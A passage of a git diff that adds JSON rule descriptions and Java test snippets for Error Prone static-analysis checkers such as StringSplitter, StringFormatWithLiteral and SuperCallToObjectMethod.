"expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "class Test {\n void f(String s) throws Exception {\n // BUG: Diagnostic contains: nosuch is not a valid charset\n s.getBytes(\"nosuch\");\n }\n }" + }, + { + "description": "refactor", + "expected-problems": null, + "expected-linenumbers": [ + 48 + ], + "code": "class Test {\n void f(String s) throws Exception {\n new String(new byte[0], \"utf8\");\n s.getBytes(\"latin1\");\n }\n }\n \n\n import static java.nio.charset.StandardCharsets.ISO_8859_1;\n import static java.nio.charset.StandardCharsets.UTF_8;\n\n class Test {\n void f(String s) throws Exception {\n new String(new byte[0], UTF_8);\n s.getBytes(ISO_8859_1);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StringConcatToTextBlock.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StringConcatToTextBlock.json new file mode 100644 index 0000000..982d4f5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StringConcatToTextBlock.json @@ -0,0 +1,102 @@ +{ + "name": "StringConcatToTextBlock", + "language": "java", + "description": "This string literal can be written more clearly as a text block", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 269, + "branches": 35, + "apis": 1, + "test": [ + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "class Test {\n String s = new Object() + \"world\\\\n\";\n String oneToken = \"hello\\\\nworld\";\n String comment =\n \"hello\\\\\\\\n\"\n // comment\n + \"world\\\\\\\\n\";\n String noNewline = \"hello\" + \"world\\\\n\";\n String extra = \"prefix\" + s + \"hello\\\\n\" + \"world\\\\n\";\n String noTrailing = \"hello\\\\n\" + \"world\";\n }" + }, + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 55 + ], + "code": "class Test {\n String s = \"hello\\\\n\" + \"world\\\\n\";\n }\n \n\n class Test {\n String s =\n \\\n;\n }" + }, + { + "description": "alreadyTextBlock", + "expected-problems": null, + "expected-linenumbers": [ + 79 + ], + "code": "import com.google.testing.compile.JavaFileObjects;\n import javax.tools.JavaFileObject;\n\n class Test {\n JavaFileObject javaFileObject =\n JavaFileObjects.forSourceLines(\n \"foo.bar.NotAbstract\",\n \\\n);\n }" + }, + { + "description": "noTrailing", + "expected-problems": null, + "expected-linenumbers": [ + 105 + ], + "code": "class Test {\n String s = \"hello\\\\n\" + \"foo\\\\n\" + \"world\";\n }\n \n\n class Test {\n String s =\n \\\n;\n }" + }, + { + "description": "escape", + "expected-problems": null, + "expected-linenumbers": [ + 130 + ], + "code": "class Test {\n String s = \"\\\\n\" + \"\\\\nhello\\\\n\" + \"foo\\\\n\\\\n\" + \"world\";\n }\n \n\n class Test {\n String s =\n \\\n;\n }" + }, + { + "description": "guavaJoiner", + "expected-problems": null, + "expected-linenumbers": [ + 158 + ], + "code": "import com.google.common.base.Joiner;\n\n class Test {\n String s = Joiner.on('\\\\n').join(\"string\", \"literals\");\n }\n \n\n import com.google.common.base.Joiner;\n\n class Test {\n String s =\n \\\n;\n }" + }, + { + "description": "stringJoiner", + "expected-problems": null, + "expected-linenumbers": [ + 186 + ], + "code": "import java.util.StringJoiner;\n\n class Test {\n String s = new StringJoiner(\"\\\\n\").add(\"string\").add(\"literals\").toString();\n }\n \n\n import java.util.StringJoiner;\n\n class Test {\n String s =\n \\\n;\n }" + }, + { + "description": "stringJoin", + "expected-problems": null, + "expected-linenumbers": [ + 214 + ], + "code": "import java.util.StringJoiner;\n\n class Test {\n String s = String.join(\"\\\\n\", \"string\", \"literals\");\n }\n \n\n import java.util.StringJoiner;\n\n class Test {\n String s =\n \\\n;\n }" + }, + { + "description": "trailingSpacesInMultilineString", + "expected-problems": null, + "expected-linenumbers": [ + 243 + ], + "code": "class Test {\n private static final String FOO =\n \"Lorem ipsum dolor sit amet, consectetur adipiscing elit: \\\\n\"\n + \"- Lorem ipsum dolor sit amet, consectetur adipiscing elit? \\\\n\"\n + \"- Lorem ipsum dolor sit amet, consectetur adipiscing elit?\\\\n\"\n + \"- Lorem ipsum dolor sit amet, consectetur adipiscing elit?\\\\n\";\n }\n \n\n class Test {\n private static final String FOO =\n \\\n;\n }" + }, + { + "description": "annotationString", + "expected-problems": null, + "expected-linenumbers": [ + 273 + ], + "code": "import java.lang.annotation.Documented;\n import java.lang.annotation.ElementType;\n import java.lang.annotation.Retention;\n import java.lang.annotation.RetentionPolicy;\n import java.lang.annotation.Target;\n\n @Retention(RetentionPolicy.RUNTIME)\n @Target({ElementType.METHOD, ElementType.CONSTRUCTOR})\n @interface Anno {}\n \n\n import java.util.StringJoiner;\n\n record Test(@SuppressWarnings(\"foo\") @Anno int foo) {}" + }, + { + "description": "noDebug", + "expected-problems": null, + "expected-linenumbers": [ + 301 + ], + "code": "class Test {\n String s = \"hello\\\\n\" + \"world\\\\n\";\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StringFormatWithLiteral.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StringFormatWithLiteral.json new file mode 100644 index 0000000..33d499a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StringFormatWithLiteral.json @@ -0,0 +1,174 @@ +{ + "name": "StringFormatWithLiteral", + "language": "java", + "description": "There is no need to use String.format() when all the arguments are literals.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 101, + "branches": 7, + "apis": 1, + "test": [ + { + "description": "negativeStringFormatWithNonTrivialHexFormattingLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "public class ExampleClass {\n String test() {\n return String.format(\"This number %02x will be formatted\", 101);\n }\n }" + }, + { + "description": "negativeStringFormatWithNonTrivialFloatFormattingLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 49 + ], + "code": "public class ExampleClass {\n String test() {\n return String.format(\"Formatting this float: %f\", 101.0);\n }\n }" + }, + { + "description": "negativeStringFormatWithVariableAsFormatString", + "expected-problems": null, + "expected-linenumbers": [ + 64 + ], + "code": "import java.lang.String;\n\n public class ExampleClass {\n String test() {\n String formatString = \"Formatting this string: %s\";\n return String.format(formatString, \"data\");\n }\n }" + }, + { + "description": "negativeStringFormatWithVariableAsFormatStringAndNoArguments", + "expected-problems": null, + "expected-linenumbers": [ + 82 + ], + "code": "public class ExampleClass {\n String test() {\n String formatString = \"Nothing to format\";\n return String.format(formatString);\n }\n }" + }, + { + "description": "negativeStringFormatWithNewLine", + "expected-problems": null, + "expected-linenumbers": [ + 98 + ], + "code": "import java.lang.String;\n\n public class ExampleClass {\n String test() {\n return String.format(\"%n\");\n }\n }" + }, + { + "description": "negativeStringFormatWithOneStringVariable", + "expected-problems": null, + "expected-linenumbers": [ + 115 + ], + "code": "import java.lang.String;\n\n public class ExampleClass {\n String test() {\n String data = \"data\";\n return String.format(\"Formatting this string: %s\", data);\n }\n }" + }, + { + "description": "negativeStringFormatWithOneIntegerVariable", + "expected-problems": null, + "expected-linenumbers": [ + 133 + ], + "code": "import java.lang.String;\n\n public class ExampleClass {\n String test() {\n Integer data = 3;\n return String.format(\"Formatting this int: %d\", data);\n }\n }" + }, + { + "description": "negativeStringFormatWithOneIntegerVariableAndStringLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 151 + ], + "code": "import java.lang.String;\n\npublic class ExampleClass {\n String test() {\n Integer data = 3;\n return String.format(\"Formatting this int: %d;Formatting this string: %s\", data, \"string\");\n }\n}" + }, + { + "description": "negativeStringFormatWithOneStringVariableStaticImport", + "expected-problems": null, + "expected-linenumbers": [ + 169 + ], + "code": "import static java.lang.String.format;\n\n public class ExampleClass {\n String test() {\n String data = \"data\";\n return format(\"Formatting this string: %s\", data);\n }\n }" + }, + { + "description": "negativeOtherMethod", + "expected-problems": null, + "expected-linenumbers": [ + 187 + ], + "code": "import java.lang.String;\n\n public class ExampleClass {\n String test() {\n return String.valueOf(true);\n }\n }" + }, + { + "description": "refactoringStringFormatWithNoArguments", + "expected-problems": null, + "expected-linenumbers": [ + 204 + ], + "code": "public class ExampleClass {\n String test() {\n return String.format(\"Formatting nothing\");\n }\n }\n \n\n public class ExampleClass {\n String test() {\n return \"Formatting nothing\";\n }\n }" + }, + { + "description": "refactoringFormattedWithNoArguments", + "expected-problems": null, + "expected-linenumbers": [ + 228 + ], + "code": "public class ExampleClass {\n String test() {\n return \"Formatting nothing\".formatted();\n }\n }\n \n\n public class ExampleClass {\n String test() {\n return \"Formatting nothing\";\n }\n }" + }, + { + "description": "refactoringStringFormatWithIntegerLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 252 + ], + "code": "public class ExampleClass {\n String test() {\n return String.format(\"Formatting this integer: %d\", 1);\n }\n }\n \n\n public class ExampleClass {\n String test() {\n return \"Formatting this integer: 1\";\n }\n }" + }, + { + "description": "refactoringFormattedWithIntegerLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 276 + ], + "code": "public class ExampleClass {\n String test() {\n return \"Formatting this integer: %d\".formatted(1);\n }\n }\n \n\n public class ExampleClass {\n String test() {\n return \"Formatting this integer: 1\";\n }\n }" + }, + { + "description": "refactoringStringFormatWithBooleanLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 300 + ], + "code": "public class ExampleClass {\n String test() {\n return String.format(\"Formatting this boolean: %B\", true);\n }\n }\n \n\n public class ExampleClass {\n String test() {\n return \"Formatting this boolean: TRUE\";\n }\n }" + }, + { + "description": "refactoringStringFormatWithStringLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 324 + ], + "code": "public class ExampleClass {\n String test() {\n return String.format(\"Formatting this string: %s\", \"data\");\n }\n }\n \n\n public class ExampleClass {\n String test() {\n return \"Formatting this string: data\";\n }\n }" + }, + { + "description": "refactoringStringFormatWithMultipleLiterals", + "expected-problems": null, + "expected-linenumbers": [ + 348 + ], + "code": "public class ExampleClass {\n String test() {\n return String.format(\"Formatting this string: %s;Integer: %d\", \"data\", 1);\n }\n }\n \n\n public class ExampleClass {\n String test() {\n return \"Formatting this string: data;Integer: 1\";\n }\n }" + }, + { + "description": "refactoringStringFormatWithLineBreak", + "expected-problems": null, + "expected-linenumbers": [ + 372 + ], + "code": "public class ExampleClass {\n String test() {\n return String.format(\"hello \\\\n %s\", \"world\");\n }\n }\n \n\n public class ExampleClass {\n String test() {\n return \"hello \\\\n world\";\n }\n }" + }, + { + "description": "refactoringStringFormatWithLineBreakOnLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 396 + ], + "code": "public class ExampleClass {\n String test() {\n return String.format(\"hello %s\", \"\\\\n world\");\n }\n }\n \n\n public class ExampleClass {\n String test() {\n return \"hello \\\\n world\";\n }\n }" + }, + { + "description": "refactoringStringFormatWithSingleQuoteLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 420 + ], + "code": "public class ExampleClass {\n String test() {\n return String.format(\"hello %s\", \"['world']\");\n }\n }\n \n\n public class ExampleClass {\n String test() {\n return \"hello ['world']\";\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StringSplitter.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StringSplitter.json new file mode 100644 index 0000000..d39d510 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StringSplitter.json @@ -0,0 +1,174 @@ +{ + "name": "StringSplitter", + "language": "java", + "description": "String.split(String) has surprising behavior", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 285, + "branches": 38, + "apis": 4, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "class Test {\n void f() {\n for (String s : \"\".split(\":\")) {}\n }\n }\n \n\n import com.google.common.base.Splitter;\n\n class Test {\n void f() {\n for (String s : Splitter.on(':').split(\"\")) {}\n }\n }" + }, + { + "description": "positive_localVarTypeInference", + "expected-problems": null, + "expected-linenumbers": [ + 60 + ], + "code": "class Test {\n void f() {\n var lines = \"\".split(\":\");\n }\n }\n \n\n import com.google.common.base.Splitter;\n\n class Test {\n void f() {\n var lines = Splitter.on(':').split(\"\");\n }\n }" + }, + { + "description": "positive_patternIsSymbol", + "expected-problems": null, + "expected-linenumbers": [ + 86 + ], + "code": "class Test {\n static final String NON_REGEX_PATTERN_STRING = \":\";\n static final String REGEX_PATTERN_STRING = \".*\";\n static final String CONVERTIBLE_PATTERN_STRING = \"\\\\\\\\Q\\\\\\\\E:\";\n\n void f() {\n for (String s : \"\".split(NON_REGEX_PATTERN_STRING)) {}\n for (String s : \"\".split(REGEX_PATTERN_STRING)) {}\n for (String s : \"\".split(CONVERTIBLE_PATTERN_STRING)) {}\n for (String s : \"\".split((CONVERTIBLE_PATTERN_STRING))) {}\n }\n }\n \n\nimport com.google.common.base.Splitter;\nimport java.util.regex.Pattern;\n\nclass Test {\n static final String NON_REGEX_PATTERN_STRING = \":\";\n static final String REGEX_PATTERN_STRING = \".*\";\n static final String CONVERTIBLE_PATTERN_STRING = \"\\\\\\\\Q\\\\\\\\E:\";\n\n void f() {\n for (String s : Splitter.on(Pattern.compile(NON_REGEX_PATTERN_STRING)).split(\"\")) {}\n for (String s : Splitter.on(Pattern.compile(REGEX_PATTERN_STRING)).split(\"\")) {}\n for (String s : Splitter.on(Pattern.compile(CONVERTIBLE_PATTERN_STRING)).split(\"\")) {}\n for (String s : Splitter.on(Pattern.compile((CONVERTIBLE_PATTERN_STRING))).split(\"\")) {}\n }\n}" + }, + { + "description": "positive_patternIsConcatenation", + "expected-problems": null, + "expected-linenumbers": [ + 127 + ], + "code": "class Test {\n void f() {\n for (String s : \"\".split(\":\" + 0)) {}\n }\n }\n \n\n import com.google.common.base.Splitter;\n import java.util.regex.Pattern;\n\n class Test {\n void f() {\n for (String s : Splitter.on(Pattern.compile(\":\" + 0)).split(\"\")) {}\n }\n }" + }, + { + "description": "positive_patternNotConstant", + "expected-problems": null, + "expected-linenumbers": [ + 154 + ], + "code": "class Test {\n void f() {\n String pattern = \":\";\n for (String s : \"\".split(pattern)) {}\n }\n }\n \n\n import com.google.common.base.Splitter;\n import java.util.regex.Pattern;\n\n class Test {\n void f() {\n String pattern = \":\";\n for (String s : Splitter.on(Pattern.compile(pattern)).split(\"\")) {}\n }\n }" + }, + { + "description": "positive_singleEscapedCharacter", + "expected-problems": null, + "expected-linenumbers": [ + 183 + ], + "code": "class Test {\n void f() {\n for (String s : \"\".split(\"\\\\u0000\")) {}\n }\n }\n \n\n import com.google.common.base.Splitter;\n\n class Test {\n void f() {\n for (String s : Splitter.on('\\\\u0000').split(\"\")) {}\n }\n }" + }, + { + "description": "varLoop", + "expected-problems": null, + "expected-linenumbers": [ + 209 + ], + "code": "class Test {\n void f() {\n String[] pieces = \"\".split(\":\");\n for (String s : pieces) {}\n }\n }\n \n\n import com.google.common.base.Splitter;\n\n class Test {\n void f() {\n Iterable pieces = Splitter.on(':').split(\"\");\n for (String s : pieces) {}\n }\n }" + }, + { + "description": "varLoopLength", + "expected-problems": null, + "expected-linenumbers": [ + 237 + ], + "code": "class Test {\n void f() {\n String[] pieces = \"\".split(\":\");\n for (int i = 0; i < pieces.length; i++) {}\n }\n }\n \n\n import com.google.common.base.Splitter;\n import java.util.List;\n\n class Test {\n void f() {\n List pieces = Splitter.on(':').splitToList(\"\");\n for (int i = 0; i < pieces.size(); i++) {}\n }\n }" + }, + { + "description": "varList", + "expected-problems": null, + "expected-linenumbers": [ + 266 + ], + "code": "class Test {\n void f() {\n String[] pieces = \"\".split(\":\");\n System.err.println(pieces[0]);\n System.err.println(pieces[1]);\n }\n }\n \n\n import com.google.common.base.Splitter;\n import java.util.List;\n\n class Test {\n void f() {\n List pieces = Splitter.on(':').splitToList(\"\");\n System.err.println(pieces.get(0));\n System.err.println(pieces.get(1));\n }\n }" + }, + { + "description": "positiveRegex", + "expected-problems": null, + "expected-linenumbers": [ + 297 + ], + "code": "class Test {\n void f() {\n for (String s : \"\".split(\".*foo\\\\\\\\t\")) {}\n }\n }\n \n\n import com.google.common.base.Splitter;\n import java.util.regex.Pattern;\n\n class Test {\n void f() {\n for (String s : Splitter.on(Pattern.compile(\".*foo\\\\\\\\t\")).split(\"\")) {}\n }\n }" + }, + { + "description": "character", + "expected-problems": null, + "expected-linenumbers": [ + 324 + ], + "code": "class Test {\n void f() {\n for (String s : \"\".split(\"c\")) {}\n for (String s : \"\".split(\"abc\")) {}\n }\n }\n \n\n import com.google.common.base.Splitter;\n\n class Test {\n void f() {\n for (String s : Splitter.on('c').split(\"\")) {}\n for (String s : Splitter.on(\"abc\").split(\"\")) {}\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 352 + ], + "code": "" + }, + { + "description": "mutation", + "expected-problems": null, + "expected-linenumbers": [ + 366 + ], + "code": "class Test {\n void f() {\n String[] xs = \"\".split(\"c\");\n xs[0] = null;\n System.err.println(xs[0]);\n }\n }\n \n\n import com.google.common.base.Splitter;\n import java.util.ArrayList;\n import java.util.List;\n\n class Test {\n void f() {\n List xs = new ArrayList<>(Splitter.on('c').splitToList(\"\"));\n xs.set(0, null);\n System.err.println(xs.get(0));\n }\n }" + }, + { + "description": "b72088500", + "expected-problems": null, + "expected-linenumbers": [ + 399 + ], + "code": "class Test {\n void f(String input) {\n String[] lines = input.split(\"\\\\\\\\r?\\\\\\\\n\");\n System.err.println(lines[0]);\n }\n }\n \n\nimport com.google.common.base.Splitter;\nimport java.util.List;\nimport java.util.regex.Pattern;\n\nclass Test {\n void f(String input) {\n List lines = Splitter.on(Pattern.compile(\"\\\\\\\\r?\\\\\\\\n\")).splitToList(input);\n System.err.println(lines.get(0));\n }\n}" + }, + { + "description": "escape", + "expected-problems": null, + "expected-linenumbers": [ + 429 + ], + "code": "class Test {\n void f() {\n String[] pieces = \"\".split(\"\\\\n\\\\t\\\\r\\\\f\");\n }\n }\n \n\n import com.google.common.base.Splitter;\n\n class Test {\n void f() {\n Iterable pieces = Splitter.on(\"\\\\n\\\\t\\\\r\\\\f\").split(\"\");\n }\n }" + }, + { + "description": "immediateArrayAccess", + "expected-problems": null, + "expected-linenumbers": [ + 455 + ], + "code": "class Test {\n void f() {\n String x = \"\".split(\"c\")[0];\n x = \"\".split(\"c\")[1];\n }\n }\n \n\n import com.google.common.base.Splitter;\n import com.google.common.collect.Iterables;\n\n class Test {\n void f() {\n String x = Iterables.get(Splitter.on('c').split(\"\"), 0);\n x = Iterables.get(Splitter.on('c').split(\"\"), 1);\n }\n }" + }, + { + "description": "stringSplitPositive", + "expected-problems": null, + "expected-linenumbers": [ + 484 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * Positive test cases for StringSplitter check.\n *\n * @author dturner@twosigma.com (David Turner)\n */\n public class StringSplitterPositiveCases {\n\n public void StringSplitOneArg() {\n String foo = \"a:b\";\n // BUG: Diagnostic contains:\n String[] xs = foo.split(\":\");\n }\n }\\" + }, + { + "description": "stringSplitNegative", + "expected-problems": null, + "expected-linenumbers": [ + 509 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * Negative test cases for StringSplitter check.\n *\n * @author dturner@twosigma.com (David Turner)\n */\n public class StringSplitterNegativeCases {\n public void StringSplitTwoArgs() {\n String foo = \"a:b\";\n foo.split(\":\", 1);\n }\n\n public void StringSplitTwoArgsOneNegative() {\n String foo = \"a:b\";\n foo.split(\":\", -1);\n }\n }\\" + }, + { + "description": "noSplitterOnClassPath", + "expected-problems": null, + "expected-linenumbers": [ + 538 + ], + "code": "class Test {\n void f() {\n for (String s : \"\".split(\":\")) {}\n }\n }\n \n\n class Test {\n void f() {\n for (String s : \"\".split(\":\", -1)) {}\n }\n }" + }, + { + "description": "patternSplit", + "expected-problems": null, + "expected-linenumbers": [ + 563 + ], + "code": "import java.util.regex.Pattern;\n\n class Test {\n void f() {\n String x = Pattern.compile(\"\").split(\"c\")[0];\n for (String s : Pattern.compile(\"\").split(\":\")) {}\n String[] xs = Pattern.compile(\"c\").split(\"\");\n xs[0] = null;\n System.err.println(xs[0]);\n String[] pieces = Pattern.compile(\":\").split(\"\");\n for (int i = 0; i < pieces.length; i++) {}\n }\n }\n \n\nimport com.google.common.base.Splitter;\nimport com.google.common.collect.Iterables;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.regex.Pattern;\n\nclass Test {\n void f() {\n String x = Iterables.get(Splitter.on(Pattern.compile(\"\")).split(\"c\"), 0);\n for (String s : Splitter.on(Pattern.compile(\"\")).split(\":\")) {}\n List xs = new ArrayList<>(Splitter.on(Pattern.compile(\"c\")).splitToList(\"\"));\n xs.set(0, null);\n System.err.println(xs.get(0));\n List pieces = Splitter.on(Pattern.compile(\":\")).splitToList(\"\");\n for (int i = 0; i < pieces.size(); i++) {}\n }\n}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StronglyTypeByteString.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StronglyTypeByteString.json new file mode 100644 index 0000000..07820f3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StronglyTypeByteString.json @@ -0,0 +1,46 @@ +{ + "name": "StronglyTypeByteString", + "language": "java", + "description": "This primitive byte array is only used to construct ByteStrings. It would be clearer to strongly type the field instead.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 52, + "branches": 1, + "apis": 1, + "test": [ + { + "description": "findingLocatedOnField", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "import com.google.protobuf.ByteString;\n\n class Test {\n // BUG: Diagnostic contains: ByteString instances\n private static final byte[] FOO_BYTES = new byte[10];\n\n public ByteString get() {\n return ByteString.copyFrom(FOO_BYTES);\n }\n }" + }, + { + "description": "byteStringFactory", + "expected-problems": null, + "expected-linenumbers": [ + 54 + ], + "code": "import com.google.protobuf.ByteString;\n\n class Test {\n private static final byte[] FOO_BYTES = new byte[10];\n\n public ByteString get() {\n return ByteString.copyFrom(FOO_BYTES);\n }\n }\n \n\n import com.google.protobuf.ByteString;\n\n class Test {\n private static final ByteString FOO_BYTES = ByteString.copyFrom(new byte[10]);\n\n public ByteString get() {\n return FOO_BYTES;\n }\n }" + }, + { + "description": "byteStringFactory_addNewTypeToByteArrayLiterals", + "expected-problems": null, + "expected-linenumbers": [ + 86 + ], + "code": "import com.google.protobuf.ByteString;\n\n class Test {\n private static final byte[] FOO_BYTES = {7, 7, 7};\n\n public ByteString get() {\n return ByteString.copyFrom(FOO_BYTES);\n }\n }\n \n\nimport com.google.protobuf.ByteString;\n\nclass Test {\n private static final ByteString FOO_BYTES = ByteString.copyFrom(new byte[] {7, 7, 7});\n\n public ByteString get() {\n return FOO_BYTES;\n }\n}" + }, + { + "description": "byteStringFactory_noNewTypeAddedIfLiteralHasType", + "expected-problems": null, + "expected-linenumbers": [ + 118 + ], + "code": "import com.google.protobuf.ByteString;\n\n class Test {\n private static final byte[] FOO_BYTES = new byte[] {7, 7, 7};\n\n public ByteString get() {\n return ByteString.copyFrom(FOO_BYTES);\n }\n }\n \n\nimport com.google.protobuf.ByteString;\n\nclass Test {\n private static final ByteString FOO_BYTES = ByteString.copyFrom(new byte[] {7, 7, 7});\n\n public ByteString get() {\n return FOO_BYTES;\n }\n}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SubstringOfZero.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SubstringOfZero.json new file mode 100644 index 0000000..5be77a7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SubstringOfZero.json @@ -0,0 +1,78 @@ +{ + "name": "SubstringOfZero", + "language": "java", + "description": "String.substring(0) returns the original String", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 58, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "positiveJustVars", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "class Test {\n void f() {\n String x = \"hello\";\n String y = x.substring(0);\n }\n }\n \n\n class Test {\n void f() {\n String x = \"hello\";\n String y = x;\n }\n }" + }, + { + "description": "positiveVarsWithMethods", + "expected-problems": null, + "expected-linenumbers": [ + 56 + ], + "code": "class Test {\n void f() {\n String x = \"HELLO\";\n String y = x.toLowerCase().substring(0);\n }\n }\n \n\n class Test {\n void f() {\n String x = \"HELLO\";\n String y = x.toLowerCase();\n }\n }" + }, + { + "description": "negativeJustVarsOneArg", + "expected-problems": null, + "expected-linenumbers": [ + 82 + ], + "code": "class Test {\n void f() {\n String x = \"hello\";\n String y = x.substring(1);\n }\n }" + }, + { + "description": "negativeJustVarsTwoArg", + "expected-problems": null, + "expected-linenumbers": [ + 99 + ], + "code": "class Test {\n void f() {\n String x = \"hello\";\n String y = x.substring(1, 3);\n }\n }" + }, + { + "description": "negativeVarsWithMethodsOneArg", + "expected-problems": null, + "expected-linenumbers": [ + 116 + ], + "code": "class Test {\n void f() {\n String x = \"HELLO\";\n String y = x.toLowerCase().substring(1);\n }\n }" + }, + { + "description": "negativeVarsWithMethodsTwoArg", + "expected-problems": null, + "expected-linenumbers": [ + 133 + ], + "code": "class Test {\n void f() {\n String x = \"HELLO\";\n String y = x.toLowerCase().substring(1, 3);\n }\n }" + }, + { + "description": "negativeVarsWithDifferentMethod", + "expected-problems": null, + "expected-linenumbers": [ + 150 + ], + "code": "class Test {\n void f() {\n String x = \"HELLO\";\n char y = x.charAt(0);\n }\n }" + }, + { + "description": "positiveStringLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 167 + ], + "code": "class Test {\n public static final int MY_CONSTANT = 0;\n\n void f() {\n String x = \"hello\".substring(MY_CONSTANT);\n }\n }\n \n\n class Test {\n public static final int MY_CONSTANT = 0;\n\n void f() {\n String x = \"hello\";\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SunApi.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SunApi.json new file mode 100644 index 0000000..79a8822 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SunApi.json @@ -0,0 +1,38 @@ +{ + "name": "SunApi", + "language": "java", + "description": "Usage of internal proprietary API which may be removed in a future release", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 75, + "branches": 7, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "class Test {\n // BUG: Diagnostic contains: sun.misc.Unsafe\n sun.misc.Unsafe u;\n }" + }, + { + "description": "positiveSource8", + "expected-problems": null, + "expected-linenumbers": [ + 44 + ], + "code": "class Test {\n // BUG: Diagnostic contains: sun.misc.Unsafe\n sun.misc.Unsafe u;\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 59 + ], + "code": "import jdk.internal.misc.Unsafe;\n\n class Test {\n Unsafe u;\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SuperCallToObjectMethod.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SuperCallToObjectMethod.json new file mode 100644 index 0000000..aa43770 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SuperCallToObjectMethod.json @@ -0,0 +1,70 @@ +{ + "name": "SuperCallToObjectMethod", + "language": "java", + "description": "`super.equals(obj)` and `super.hashCode()` are often bugs when they call the methods defined in `java.lang.Object`", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 110, + "branches": 10, + "apis": 3, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 28 + ], + "code": "class Foo {\n int i;\n\n @Override\n public boolean equals(Object obj) {\n if (obj instanceof Foo) {\n return i == ((Foo) obj).i;\n }\n // BUG: Diagnostic contains: equals\n return super.equals(obj);\n }\n }" + }, + { + "description": "positiveOtherSupertypeWithoutEquals", + "expected-problems": null, + "expected-linenumbers": [ + 50 + ], + "code": "class Foo extends Exception {\n int i;\n\n @Override\n public boolean equals(Object obj) {\n if (obj instanceof Foo) {\n return i == ((Foo) obj).i;\n }\n // BUG: Diagnostic contains:\n return super.equals(obj);\n }\n }" + }, + { + "description": "negativeOtherSupertypeWithEquals", + "expected-problems": null, + "expected-linenumbers": [ + 72 + ], + "code": "import java.util.AbstractSet;\n\n abstract class Foo extends AbstractSet {\n int i;\n\n @Override\n public boolean equals(Object obj) {\n if (obj instanceof Foo) {\n return i == ((Foo) obj).i;\n }\n return super.equals(obj);\n }\n }" + }, + { + "description": "negativePureSuperDelegation", + "expected-problems": null, + "expected-linenumbers": [ + 95 + ], + "code": "class Foo {\n @Override\n public boolean equals(Object obj) {\n return super.equals(obj);\n }\n }" + }, + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 111 + ], + "code": "class Foo {\n int i;\n\n @Override\n public boolean equals(Object obj) {\n if (obj instanceof Foo) {\n return i == ((Foo) obj).i;\n }\n return super.equals(obj);\n }\n }\n \n\n class Foo {\n int i;\n\n @Override\n public boolean equals(Object obj) {\n if (obj instanceof Foo) {\n return i == ((Foo) obj).i;\n }\n return this == obj;\n }\n }" + }, + { + "description": "refactoringNeedsParens", + "expected-problems": null, + "expected-linenumbers": [ + 147 + ], + "code": "class Foo {\n int i;\n\n boolean notEquals(Object obj) {\n if (obj instanceof Foo) {\n return i != ((Foo) obj).i;\n }\n return !super.equals(obj);\n }\n }\n \n\n class Foo {\n int i;\n\n boolean 